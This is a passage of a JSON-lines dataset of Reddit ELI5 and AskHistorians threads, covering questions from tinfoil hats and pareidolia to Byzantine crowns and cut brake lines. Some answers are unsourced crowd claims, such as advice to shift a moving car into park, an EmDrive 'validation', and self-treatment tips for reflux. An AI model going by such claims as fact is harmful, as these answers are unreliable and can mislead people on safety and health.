conclusion;\n\n > The helmets amplify frequency bands that coincide with those allocated to the US government between 1.2 Ghz and 1.4 Ghz. According to the FCC, These bands are supposedly reserved for ''radio location'' (ie, GPS), and other communications with satellites (see, for example, [3]). The 2.6 Ghz band coincides with mobile phone technology. Though not affiliated by government, these bands are at the hands of multinational corporations. \nIt requires no stretch of the imagination to conclude that the current helmet craze is likely to have been propagated by the Government, possibly with the involvement of the FCC. We hope this report will encourage the paranoid community to develop improved helmet designs to avoid falling prey to these shortcomings. \n\nThe validity / reliability of this study may be questionable though... however I couldn't find any other studies that were even vaguely reputable.", "Look into faraday cages"]}, "title_urls": [], "selftext_urls": ["http://jordonbrown.com/wp-content/uploads/2012/03/Signs-Tin-Foil-Hat.jpg"], "answers_urls": [[], ["http://berkeley.intel-research.net/arahimi/helmet/"], []]}
{"q_id": "3ckjk3", "title": "Did World War 2 Veterans of Color and Female Veterans have equal access to the provisions of the GI Bill?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3ckjk3/did_world_war_2_veterans_of_color_and_female/", "answers": {"a_id": ["csxpuao"], "score": [2], "text": ["You might be interested in [an answer to a similar question asked recently](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3btxsf/i_am_a_africanamerican_soldier_returning_home_to/"]]}
{"q_id": "6ic8ii", "title": "pareidolia. how on earth does it work? wikipedia lost me within the first 5 sentences.", "selftext": "Is it common? Is is more prevalent in some people than others but pretty well everyone has it? How does it even work?\n\nThanks in advance!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ic8ii/eli5_pareidolia_how_on_earth_does_it_work/", "answers": {"a_id": ["dj54knq", "dj56it9"], "score": [9, 33], "text": ["Our brains are really good at finding patterns in things.  One of the first patterns we learn to see what makes a face so it's really common for people to see faces in things.\n\n/r/Pareidolia is full of good examples of seeing faces in inanimate objects.", "Our brains process information that was important to our caveman ancestors.  \nSuppose there was a caveman whose brain was rigged up to see faces in practically everything that looks almost like a face.  \nHe sees a pattern that looks like a face, he thinks it's a face and looks real hard, turns out it's a couple of rocks that kinda looks like a face so he ignores it.   \nHe then sees another pattern that looks like a face, he thinks it's a face and looks real hard, turns out it's the face of a saber tooth tiger hiding in the shadows. He kills it with his spear and goes to have babies with his cave woman wife.  \nTheir babies are better at seeing faces because of genetics.  \n  \nLets suppose there was a cave man who didn't see faces in everything.  \nHe sees a pattern that looks sort of like a face and ignores it, it was a rock so nothing happens.  \nHe then sees another pattern that looks sort of like a face and ignores it, it was a saber tooth tiger, the tiger eats him and leaves his wife a childless widow.  \nThey don't have babies who are bad at seeing faces everywhere.  \n  \nRepeat for eons and eventually almost everyone is good at seeing faces everywhere.    \n  \nFast forward to now, we don't have to deal with saber tooth tigers, but our brains are still set up so that anything that remotely resembles a face triggers off a response that makes us see a face.  Consider :-) , the smiley immediately makes you think of  a face, despite the fact that it is just punctuation, and no real face you've ever seen consists of 2 dots and 2 lines. That's pareidolia at work, you can't help but see a face, just because it vaguely resembles a face and eons of evolution have taught you not to ignore it as a possible face.    \nIt's the reason people see a face on a grainy picture of mars for example.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2pz2fj", "title": "Why does 6 and 9 use the same symbol?", "selftext": "Is it a coincidence, or were the numbers connected in some way?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2pz2fj/why_does_6_and_9_use_the_same_symbol/", "answers": {"a_id": ["cn1fa7b", "cn1hcyo", "cn1hhep", "cn1vk28"], "score": [150, 554, 19, 3], "text": ["While it's not a question of *language,* strictly speaking, /r/etymology or *perhaps* /r/linguistics might be able to help you, or at least direct you to persons or resources who can better answer your question.", "You might want to take a look at The Universal History of Numbers: From Prehistory to the Invention of the Computer by George Iffrah (your library might have it) for a detailed history of our and other number systems. But to be honest, in all the books on the history of mathematics I've read, not a single author has addressed your question.  I assume that the similarity is hence (at least believed to be) coincidental. There is also a good argument to be made for this claim:\nOur notation derrives from arabic and indian numerals, as you probably know -- Encyclopedia Britannica has a [neat picture](_URL_0_). The notation of numbers evolved over time, and as you can see, 6 and 9 did not look very similar in the beginning, but became more and more similar over time, e.g. in West Arabic writing, where the symbols were already very similiar, but not yet identical. You can also see an effort to \"unify\" the style of the numbers by D\u00fcrer in the picture mentioned above, which might have added to the use of the same symbol. ", "Based on the Hindu model, the Arabs developed two versions of numerals, East and West Arabic, of which the East Arabic is now by far the dominant.   Our own numeral system is based on the now extinct West Arabic numerals.  Their name, Gobar, is Arabic for *sand board* or *dust*, referring to the practice of performing calculations directly on the ground or on a board covered with sand (which could be wiped clean when calculations were done).  The name is now attached to the early Hindu-Arabic numerals introduced into Europe.   The oldest surviving sample of Gobar numerals in Europe is a Spanish manuscript from 976. \n\nSource:  *_Mathematics: From the Birth of Numbers_*, Jan Gullberg, pp 49-50\n\n\nYou can see the numerals referred to on the first row of this image ([wikipedia link](_URL_0_)).\n\n\nThere are several different examples of the numeral in use in script after this, most resemble something between an uppercase L and an uppercase G.   \n\n\n***[Speculation past this point]***\n\nSince it eventually became common that the numeral 9 is represented with a descender and 6 with an ascender, it's not too much of a stretch to imagine the characters merging with the spread of the printing press.   One simply had to turn the 9 upside down and the character would have the correct ascender and would be recognizable as the numeral between 5 and 7.   ", "Question: Could the history of typesetting be relevant? It seems that being able to re-use letters and just flip them upside down would be convenient."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://media-1.web.britannica.com/eb-media/60/91960-004-42DF23AB.jpg"], ["http://upload.wikimedia.org/wikipedia/commons/6/67/Apices_du_moyen-%C3%A2ge.PNG"], []]}
{"q_id": "1sss4o", "title": "why do i gag yellow bile up every morning when i'm stressed?", "selftext": "Its finals week, I have a lot to do for my job and I just had a date go really well this weekend but am anxious about courting because my texting game is super weak.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sss4o/why_do_i_gag_yellow_bile_up_every_morning_when_im/", "answers": {"a_id": ["ce0us4p", "ce0v7ls"], "score": [3, 2], "text": ["Acid reflux is my best guess .some rennies or milk of magnesium somethink to that like should help until you see a doctor. Trust me from experience u dont want to ignore it so much easier to deal with before the acid does damage . I posted a reply on a thread recently that covered my story with reflux ...", "The substance is simply the contents of your stomach, which is just stomach acid when you wake up in the morning. This has the yellowish tinge you are seeing.\n\nNausea/vomiting can certainly be caused by stress. If endoscopy was negative, I would agree with the doctor's assessment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1gsejz", "title": "why is it dangerous to give a pregnant mother an x-ray but ok to give a baby an x-ray?", "selftext": "I was wondering after spotting [this post](_URL_0_) in /r/funny earlier.\n\nIs it something to do with the development of the foetus? Does how far along the pregnancy is make a difference?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gsejz/eli5_why_is_it_dangerous_to_give_a_pregnant/", "answers": {"a_id": ["canbyex"], "score": [20], "text": ["DNA damage that occurs when there is only a small number of cells will be replicated to a larger number of cells in the growing organism. Rapidly dividing cells are more vulnerable to radiation damage because of this as well. I don't think that there is really a hard dividing line between \"dangerous\" and \"OK\"; x-ray imaging is always something of a risk and you shouldn't do it unless you have reason to do so."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/funny/comments/1gry5j/apparently_this_is_how_babies_get_xrays/"], "answers_urls": [[]]}
{"q_id": "435x6w", "title": "Why are Roman emperors often depicted wearing laurels while Byzantine emperors depicted wearing crowns?", "selftext": "Whenever i look into Roman history i always notice that the first Roman Emperors(Like Claudius or Augustus) are often depicted wearing laurels, but when i look at pictures of Byzantine Emperors(Like Justinian or Constantine IX) they are most likely depicted wearing golden crowns. What is the reason behind this difference?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/435x6w/why_are_roman_emperors_often_depicted_wearing/", "answers": {"a_id": ["czg35im"], "score": [69], "text": ["Edit: Warning, you'll quickly see why my flair says \"Byzantine History\" and not \"Roman History\" !\n\nIt's because the Byzantine Empire was in some ways Roman, but other ways not at all. This is one of the ways that they were not. \n\nThe Early Roman Empire was more like a faux-republic (Think Russia or Francoist Spain). The institutions of the Republic mostly remained intact, Consuls and Quaestors were still appointed and the Senate still sat in their house and argued, and this is the case until Leo the Wise institutes the Basilika in the 9th century and removes most of the remaining Roman institutions. Alongside this, for a multitude of reasons, the early emperors didn't *want* to be looked at as Monarchs, Augustus refused to let people call him rex, for example, preferring the term \"Princeps\" which means first citizen. This doesn't really change until the reign of Septimius Severus and doesn't really go away completely until Diocletian institutes the Dominate and begins to peel away the false republic in favor of the de-facto Empire.\n\nSo why the laurels?\n\nThe Laurel you are referring to is the Civic Crown, or the second highest honor a Roman citizen could achieve. It was given to men who saved fellow citizens and as such it was truly a high honor. Augustus wanted to use this as his symbol, supposedly because it symbolized that he saved millions of people by ending the Civil Wars, and later emperors kept this tradition going. It was the symbol they could have to show their authority while keeping the visage of a republic alive.\n\nSo why did the Byzantines stop this?\n\nA variety of reasons, basically. For one, as I mentioned above, the fake republic continuously eroded until it was a mere sham. The Senate stopped doing anything really, the title of Consul became united with that of Emperor under Leo the Wise, Roman government titles were replaced with Greek ones, etc. With these institutional legacies dying off, there's less of an impetus to abide by the customs of a republic that was long dead.  The Eastern people also were just generally much more accepting of monarchal rule than the Romans. An often understated aspect of Byzantine governance is how much eastern traditions were infused with Roman ones to make the \"Byzantine\" Empire. Political mutilations would have been looked as appalling under the classical Romans, while in Byzantium it was the expected punishment of basically anyone who opposed the government in some way if they weren't just straight up executed. Visitors of the Emperor were expected to fully prostrate themselves and kiss the ground, while prior the \"First Citizen,\" would either expect nothing like this or accept a mere bow. These two factors together are what allowed the Emperors of Byzantium to fully announce themselves as \"Emperors.\" Symbolically you see this with the fact that Heraclius stopped using the title of Caesar (which eventually became a high court title, not the Emperors title) or Augustus (although it's part of the name of a few more of his descendants, the first guy I can't find any evidence of being Augustus is Constantine IV, his great grandson), but instead using the title of \"Basilius,\" which translates to \"Sovereign\" in Greek but is generally recognized as meaning \"Emperor.\" Alongside all of this, however, was the removal of any disgust at the idea of wearing a crown. Justinian and Theodora both wear one in their famous mosaics in Ravenna, many of the Eastern Roman Emperors of antiquity (at least I think, I can't see clearly enough in the pictures if they're Laurels or Crowns, but Theodosius I and his son Arcadius both appear to be wearing crowns) wore crowns in depictions and in coins, and the Byzantines eventually actually got quite good at making them! The famous crown of St. Stephen (which is unfortunate in that it depicts the evil nitwit (light hearted sarcasm) Michael VII) is a Byzantine Crown and the potentially fraudulent Monamachos Crown (Which depicts sisters Zoe and Theodora, Daghters of Constantine VIII, Nieces of Basil II and the last legitimate Macedonians, and Zoe's husband Constnatine IX Monamachos).\n\nSo, for short, the Romans didn't wear them because they preferred to keep up the false Republic, while the Byzantines didn't care and quite enjoyed their gold. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2attza", "title": "How Come Women Never have Jr, II, or III after Their Names?", "selftext": "I've always wondered this and was wondering the historical basis behind this.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2attza/how_come_women_never_have_jr_ii_or_iii_after/", "answers": {"a_id": ["ciyue7s", "ciyvfaz", "ciywcub", "ciyxw8k", "ciz0njz", "cizk41g"], "score": [60, 147, 352, 9, 4, 3], "text": ["It's not [unprecedented](_URL_1_.), I can think of [a couple examples](_URL_0_), at least in English. I believe one of the characters in the film \"Brokeback Mountain\" was also a female named \"Junior,\" suggesting the practice is not unheard of, at least insofar as that film (and the story it's based on) is grounded in historical reality. \n\nHowever, the practice is just not very common, for a couple of reasons, usually because of differing middle names or because of dropping the suffix after marriage.\n\nBut, on the subject of marriage, recall that, formally, it is still the style for women to be referred to by their husband's full name. For example, \"Mrs. John Smith III,\" so, in that sense, quite a few women might have those suffixes, at least in very formal contexts. ", "As a follow up question, where does the American habit of placing Roman numerals after their names come from? In Europe it's usually reserved for royalty or Popes.", "For those just coming to the thread, nearly all the comments have been removed because they were speculative, ahistorical, or otherwise not up to our subreddit's standards. Other responses in the same vein will also be removed.\n\nThank you.\n", "Sorry if this is straying from the topic, but why in the world do we name people the same thing as their ancestors (or ourselves) in the first place?  I kind of understand it with royalty  &  suchlike, but what purpose does it serve for us commoners?  Is it just egotism?\n\nEdit: What I mean is, why does the *exact* name needs to be transcribed to descendants?  Were there once restrictions on what people could and couldn't be named, so that the same combination happening more than once within living generations was unavoidable?  Does it have to do with inheritance  &  continuity of the family's property?  How far back does this practice go?  Is it a result of using family names at all?  Is this a question for Anthropologists?", "It is my understanding that during Roman (referring to the early Republic, maybe even into Empire times) times, women didn't even necessarily have what we'd call \"first names\" today. They would be referred to as \"the third daughter of Fancius Whatshisname and so on.\n\n1. Is this true (and are there flaws in my understanding from the way I've described it)?\n2. Does this and the original question indicate that *in general* women have been considered lesser than men to an extent that not much effort was expended in choosing names for them?", "I keep checking back for an answer to OP. But I feel as if the answer in essence is :\"Historically, women didn't matter as much\". I would love to be wrong. \n\nI have been dabbling in genealogy lately and it seems that once a woman married off, she was no longer accounted for in the initial family she was born to because she became the property of someone else. Making it difficult to follow the lives of daughters unless you knew the name of the man she married. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Anna_Roosevelt_Halsted", "http://en.wikipedia.org/wiki/Winifred_Sackville_Stoner,_Jr"], [], [], [], [], []]}
{"q_id": "8zpqa7", "title": "why does it seem hotter to stand still in the sunlight than it does to walk in the sunlight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8zpqa7/eli5_why_does_it_seem_hotter_to_stand_still_in/", "answers": {"a_id": ["e2khzem", "e2ki0fz", "e2kz7f1", "e2l31ei"], "score": [47, 8, 11, 2], "text": ["When you walk you invoke a slight breeze on your skin which transfers heat away from your body more effectively. ", "When you stand still, heat radiates off you and warms the air around you. When walking your moving into cooler air. ", "For the same reason that we put fans on CPUs. Each particle of air has a capacity to absorb heat. As the particles' own heat approaches that of the surface if your skin, it can take less and less away. When you walk, you're introducing new, colder air which has greater capacity to absorb heat radiating from your body", "If the air is cooler than your skin surface temperature (35\u00b0C) then wind will cool you down. Either because of a breeze, or because you are walking. As you replace air heated by your skin by cooler air, faster than just thermal convection.\n\nHowever, above 35\u00b0C that become more about humidity than temperature, as the only cooling is now due to evapotranspiration (humans are expert at that). Which again is improved by replacing the humid air by drier air using wind.\n\nThis probably ends up not working if air temperature is above 35\u00b0C and humidity close to 100%. Then you are better just standing still and digging a hole in the ground."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8qg1re", "title": "Did the Cossacks really write this letter to the Ottoman Sultan? (NSFW)", "selftext": "I read somewhere that the Zaporozhian Cossacks wrote the following letter to the Ottoman Sultan at the time, Mehmed IV, which later inspired a painting:\n\n > Zaporozhian Cossacks to the Turkish Sultan!\n > \n > O sultan, Turkish devil and damned devil's kith and kin, secretary to Lucifer himself. What the devil kind of knight are thou, that canst not slay a hedgehog with your naked arse? The devil shits, and your army eats. Thou shalt not, thou son of a whore, make subjects of Christian sons; we have no fear of your army, by land and by sea we will battle with thee, fuck thy mother.\n > \n > Thou Babylonian scullion, Macedonian wheelwright, brewer of Jerusalem, goat-fucker of Alexandria, swineherd of Greater and Lesser Egypt, pig of Armenia, Podolian thief, catamite of Tartary, hangman of Kamyanets, and fool of all the world and underworld, an idiot before God, grandson of the Serpent, and the crick in our dick. Pig's snout, mare's arse, slaughterhouse cur, unchristened brow, screw thine own mother!\n > \n > So the Zaporozhians declare, you lowlife. You won't even be herding pigs for the Christians. Now we'll conclude, for we don't know the date and don't own a calendar; the moon's in the sky, the year with the Lord, the day's the same over here as it is over there; for this kiss our arse!\n\nSo my question is whether they actually wrote and sent that letter to the Sultan.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8qg1re/did_the_cossacks_really_write_this_letter_to_the/", "answers": {"a_id": ["e0j6tel", "e0j7urp", "e0k8s81"], "score": [73, 408, 7], "text": [" >  which later inspired a painting\n\nFollowup question: have you or anybody else a reference or a link to the painting in question ??", "There are several copies of that letter in different languages and different degrees of obscenity. Kagan-Tarkovsky supposes that it went from a SFW version in Polish into Russian and from thence into an obscene Russian dialect with Ukrainian influence.\n\nNow, we have no original Polish letter, but the earliest (Moscow Russian) version (which is pretty safe for work) claims explicitly it was translated from \"Polish\". \n\nCritics of Kagan-Tarkovsky's standpoint say that this earliest version could be a bowdlerised one and that the \"Polish\"  language it refers to might as well be Ukrainian (since there was no word for the *Ukrainian* language at that time it was sometimes referred to as \"Polish\", as well.).\n\nK.-T.'s point is the letter is clearly a (parody) reply to authentic sultan's letters to the king of Poland (two such letters survive, one from 1621 and another from 1636). Her supposition is that it has first circulated in the polite Polish elite which was aware of the presumptuous tone used by the sultan on the highest level and, naturally, it wouldn't have contained any obscenities. \n\nHowever she also cites a Ukrainian scholar defending the standpoint that it could come from an authentic letter by cossacks employing a folksy Ukrainian language. You can read her article (it is in Russian) [over here](_URL_0_).", "Follow up question, what was the influence of the Crimean Slave trade on this letter?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://feb-web.ru/feb/todrl/t21/t21-346.htm"], []]}
{"q_id": "1katzu", "title": "how do long-range microphones work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1katzu/eli5_how_do_longrange_microphones_work/", "answers": {"a_id": ["cbnbztb"], "score": [2], "text": ["There are lots of different types of long range microphones. A laser microphone is an example of one. A laser microphone uses a laser to detect vibrations due to sound waves on an object neat the source. This type of microphone is often used in surveillance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9997es", "title": "is it realistic whenever a brakeline is cut in movies? why cant you just release the gas pedal like normal physics abiding citizen.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9997es/eli5_is_it_realistic_whenever_a_brakeline_is_cut/", "answers": {"a_id": ["e4lwdl3", "e4lzxsf", "e4m03db"], "score": [3, 4, 3], "text": ["The brake system in a car works on hydraulic pressure. If the brake line is cut all the fluid leaks out and there is no pressure to apply to the brakes. At best you could coast down in neutral to stop, but you would need a hill to decelerate rapidly. The friction of the pads on the rotors assists in slowing the car down, but eventually the car would stop. In a real emergency just throw the car in park. You\u2019ll kill the transmission but the car will stop. ", "So there are a few things in place to avoid flying off a cliff if a line is cut. First, with one line cut at one wheel, you would still have some brake effort in two other wheels since there are generally two separate hydraulic circuits that control all 4 wheels. \n\nThen you have the transmission to help assist in slowing down. Automatics allow for down shifting through the manual gears by shifting into the \"L\" or numbered gears. These gears give you engine braking where \"D\" does not. Engine braking is when you let off the gas and transmission does not allow freewheeling so the resistance from the wheels actually slows the car.  Do not throw the car in park. The parking pawl is a relatively small piece of metal and will just snap off if your at speed and just go to park. \n\nThis brings us to the parking brake (or e-brake as some call it). Parking brakes are either cable or electrically controlled and are not part of the hydraulic brake system. The parking brake will work, but it only applies the rear brakes. If you lost all the hydraulic brakes, you would want to apply and release the parking brake in conjunction with down shifting to slow the vehicle to a stop. You dont want to lock up the rear wheels while driving as your car becomes incredibly hard to control with two wheels in a dead skid. \n\nLastly, a person can use the steering wheel to stay on the road or ride in the shoulder to help slow the car. So it doesnt have to end like it does in the movies. ", "Imagine trying to unscrew a bolt that is stuck, and you have two wrenches, one is made of metal, and the other is made of rubber. When using the metal wrench, all of the force put into pulling on the lever, is mostly transferred to twisting the bolt. The metal wrench actually bends a little, but not enough to prevent turning the bolt. But a rubber wrench would not transfer the energy of pulling it's lever very well. Instead of transferring that energy to the bolt, the wrench will bend, and that force is wasted bending the wrench. So in order to transfer energy, you need most of the work you do, to make it to the other end of the wrench. The same is true in a hydraulic system. \n\nFluids do not compress very well, you can basically say they don't compress. All of the force of a brake cylinder pressing down, is transferred (minus friction losses) to the brake caliper cylinder on the other end. \n\nWhen a hydraulic system has air in the line, or the fluid leaks out due to a puncture, it is replaced by air, which is compressible. When the brake cylinder is compressed by the pedal, instead of transferring that force to the brake shoe caliper, it goes into compressing the air/gas bubbles in the line, and the braking force is considerably less. More of the work done at one end of the system is wasted and doesn't make it to the other end. \n\nWhen enough fluid leaks out of the system, none of the energy makes it through at all, because there is no longer any pressure. In the rubber wrench analogy it would be like the wrench breaking, and none of the energy making it to the bolt. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1ykh9x", "title": "why do i get a rush of adrenaline when i watch people fighting on the internet when i\u2019m not actually in a fight or flight situation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ykh9x/eli5why_do_i_get_a_rush_of_adrenaline_when_i/", "answers": {"a_id": ["cflb813", "cflbhnk"], "score": [2, 2], "text": ["Well those people don't want you to watch their conversation and you are getting the rush from watching something you aren't suppose to.", "I keep watching them at my desk while at work. Its the best and the worst because eventually I have to go back to enrolling students over the phone. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2carg7", "title": "what exactly is this \"impossible\" space drive nasa just verified?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2carg7/eli5_what_exactly_is_this_impossible_space_drive/", "answers": {"a_id": ["cjdmjbi", "cjdnv25", "cjdqqpu"], "score": [31, 2, 2], "text": ["The EmDrive is a proposed form of space propulsion by a British aerospace engineered named Shawyer. He claims that by bouncing microwaves around, he can create a thrust, WITHOUT a propellant. \n\nNASA has tested the drive, and apparently it has validated that the drive works. [See here](_URL_0_)  for a news article, and [here](_URL_1_) for a report by NASA.\n\nThe reason that this is called the 'impossible drive' is because it seems to violate the Law of Conservation of Momentum, which basically has been verified in every experiment ever for centuries now. The Law says essentially, that you can't push something (rocket) forward without pushing something else back (fuel). Since the EmDrive doesn't have propellants, , it should be impossible to create forward thrust. Shawyer claims that the EmDrive doesn't violate the Law of Conservation of Momentum.\n\nKeep in mind, that this might end up just being a false positive. Just keep up with the news, to see if it really works. Also, scientist in China have already demonstrated that the drive works, but nobody in the West really believed them.\n", "Next question:  how fast does it go?", "Wow this is cool. I am curious to see what explanations come up for this as more experiments are done"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wired.co.uk/news/archive/2014-07/31/nasa-validates-impossible-space-drive", "http://ntrs.nasa.gov/search.jsp?R=20140006052"], [], []]}
{"q_id": "1t2zxo", "title": "how do women of nations with limited sanitation deal with menstruation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t2zxo/eli5_how_do_women_of_nations_with_limited/", "answers": {"a_id": ["ce3x0bs", "ce3ycp1"], "score": [6, 4], "text": ["Well... in some cultures they simply bleed and let it flow. In others they might be considered unclean and kept apart for those few days each month. In other cultures they might do as some of our ancestors did and use mosses, or they might use rags or a homemade (sometimes washable and reusable) pad.", "They don't call it 'on the rag' for nothing!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "65qo4k", "title": "the cultural history and overlap of greek and middle eastern foods.", "selftext": "There's a lot of overlap between the two: hummus, pita, lamb, gyro, olive oil, dolmas, etc. But Greek food is very different than Italian, Austrian, or French food. Why the commonalities with the Middle East, and why did it \"stop\" at Greece? Or did it? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65qo4k/eli5_the_cultural_history_and_overlap_of_greek/", "answers": {"a_id": ["dgcee1f", "dgcfji2", "dgcfmbd"], "score": [2, 2, 3], "text": ["Greece is functionally a part of the Middle East. They are geographically adjacent to them, and share a lot of the cultural history. Large mountains separate Greece from the rest of Europe. ", "The Ottomans occupied Greece for several hundred years and Greek culture was pretty much everywhere in the East Mediterranean when Arabs and other Islamic groups rose. There was going to be natural blending of the cultures, food was one of them.", "Until almost 200 years ago, Greece was part of the Ottoman empire. Before that, Greece was part of the byzantine empire, which was the last remnant of the Roman Empire. Before the Romans, Greece was part of the hellenic world, which was the territory of the successors of Alexander the great. Before that, western Turkey was settled by Greeks. \n\nSo the connection between Greece and what's now the middle east goes back to the beginning of Greek history, and it's only been separated since its independence. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2as6oe", "title": "Did hair ever get in the way of beheading?", "selftext": "I know it's a brutal question, I'm not looking for the gory details.  I'm an aspiring fiction author, mostly a hobbyist, and I'm trying to get this right.\n\nIf a person had a lot of hair, really wild like say [this guy](_URL_0_), it just seems the hair would keep a sword from making a clean cut.  I've read instances where people, previous to a beheading, put their hair up or have their heads shaved.  I couldn't tell if it's because the hair got in the way, preventing a clean cut, or if it was a matter of dignity (or shame).\n\nLet's put this in periods and places where beheadings by swords or axes and chopping blocks were the common methods (as opposed to guillotines and whatnot).\n\nWhat was the historical method for this and why?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2as6oe/did_hair_ever_get_in_the_way_of_beheading/", "answers": {"a_id": ["ciyaz60"], "score": [7], "text": ["Yes, it did. Beheading was notoriously inaccurate in medieval Hungary, so much so that it was the custom that if the convict survived three strikes he was free to go. A story to illustrate:\nL\u00e1szl\u00f3 Hunyadi (first son of Governor J\u00e1nos Hunyadi) was sentenced to death by the King (Posthumus) L\u00e1szl\u00f3 V, Hunyadi's supporters kidnapped the executioner to prevent the beheading take place. A common criminal was hired to execute the magnate, but due to lack of skill and to his strong hair Hunyadi survived three strikes. Unfortunately for him his enemies convinced the king to carry on and had him executed with the fourth strike.\n\n------------------\nVir\u00e1g Benedek: Magyar sz\u00e1zadok, 1983 (don't have it with me so can't provide exact page no. right now)"]}, "title_urls": [], "selftext_urls": ["http://img4.wikia.nocookie.net/__cb20130429202723/hieloyfuego/images/6/6c/Rickard_Karstark.JPG"], "answers_urls": [[]]}
{"q_id": "4ok9z2", "title": "how do great lake bound vessels bi-pass niagara falls?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ok9z2/eli5_how_do_great_lake_bound_vessels_bipass/", "answers": {"a_id": ["d4dagii", "d4dfpqf"], "score": [6, 2], "text": ["The ships use the Welland Canal - a series of lift locks that allow ships to travel upstream. The canal forms a key section of the St. Lawrence Seaway, enabling ships to ascend and descend the Niagara Escarpment and bypass Niagara Falls. \n\nThe Canal system was implemented prior to the completion of the trans continental railroad in Canada and served as the main transportation artery for Upper and Lower Canada (Ontario and Quebec respectively). ", "Early on, ships used the Erie Canal, which connected Lake Eire with the Hudson River.  It was a very important development in early US history, and is part of the reason New York City became so prominent.\n\nThe Welland Canal was build a few years later, and it specifically bypasses Niagara Falls, connecting Lake Erie and Lake Ontario directly.  But it was not large enough to handle cargo traffic, and there were other locks required along the St. Lawrence to make it a feasible route to the Atlantic.  It wasn't until the St. Lawrence Seaway project was finished in the mid 20th Century that there was a viable commercial alternative to the Erie Canal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9pzrrr", "title": "what is an expat?", "selftext": "What is an expat? I have a small understanding of it, but does it mean I will be able to live in a cheap country like Ukraine and get a good salary from my host country?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9pzrrr/eli5_what_is_an_expat/", "answers": {"a_id": ["e85i9f6", "e85ibdx", "e85idgb", "e85ie9s", "e85u3v3"], "score": [4, 10, 2, 4, 2], "text": ["They are someone from your country living in another country, who wants to live in the foreign nation but still retain their original nationality.", "Expat is short for expatriate which simply means someone who moved from their home country to a different country. There is no salary involved. ", "Expat is just someone living somewhere else besides their native country, and no u do not decide where you live or your allowances. \n", "An expatriate is someone living temporarily or permanently in a different country than that of their citizenship.\n\nIf you have a job offer to move to Ukraine from an organization in your home country then it is possible that you could reap the benefits of the lower cost of living in Ukraine while getting a reasonable salary from your employer. There may even be a pay boost for the hardship of living in undesirable areas.", "If you are from the States it is worth noting that they tax worldwide income. This typically doesn't mean double taxation though. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "c09il4", "title": "what is the hatch act and what does it do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c09il4/eli5_what_is_the_hatch_act_and_what_does_it_do/", "answers": {"a_id": ["er2yhoi", "er2yrpa", "er325il"], "score": [14, 6, 6], "text": ["The Hatch Act restricts political activity by most US Government employees as part of their work.  The President, VP, Cabinet Secretaries, and a few other high level officials are excepted from the restrictions.", "At its heart, the act says that people can't take money from taxpayers and then use official work time or their official position as a federal employee to promote a political cause, party or person.", "Basically it says that if you are a general government employee you cannot advocate for one party over another/others while you are executing your assigned government duties.\n\nIt's meant to prevent employees from using tax payer time/money to advance their specific political parties agendas or use their positions to unduly influence people for or against a specific political party."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
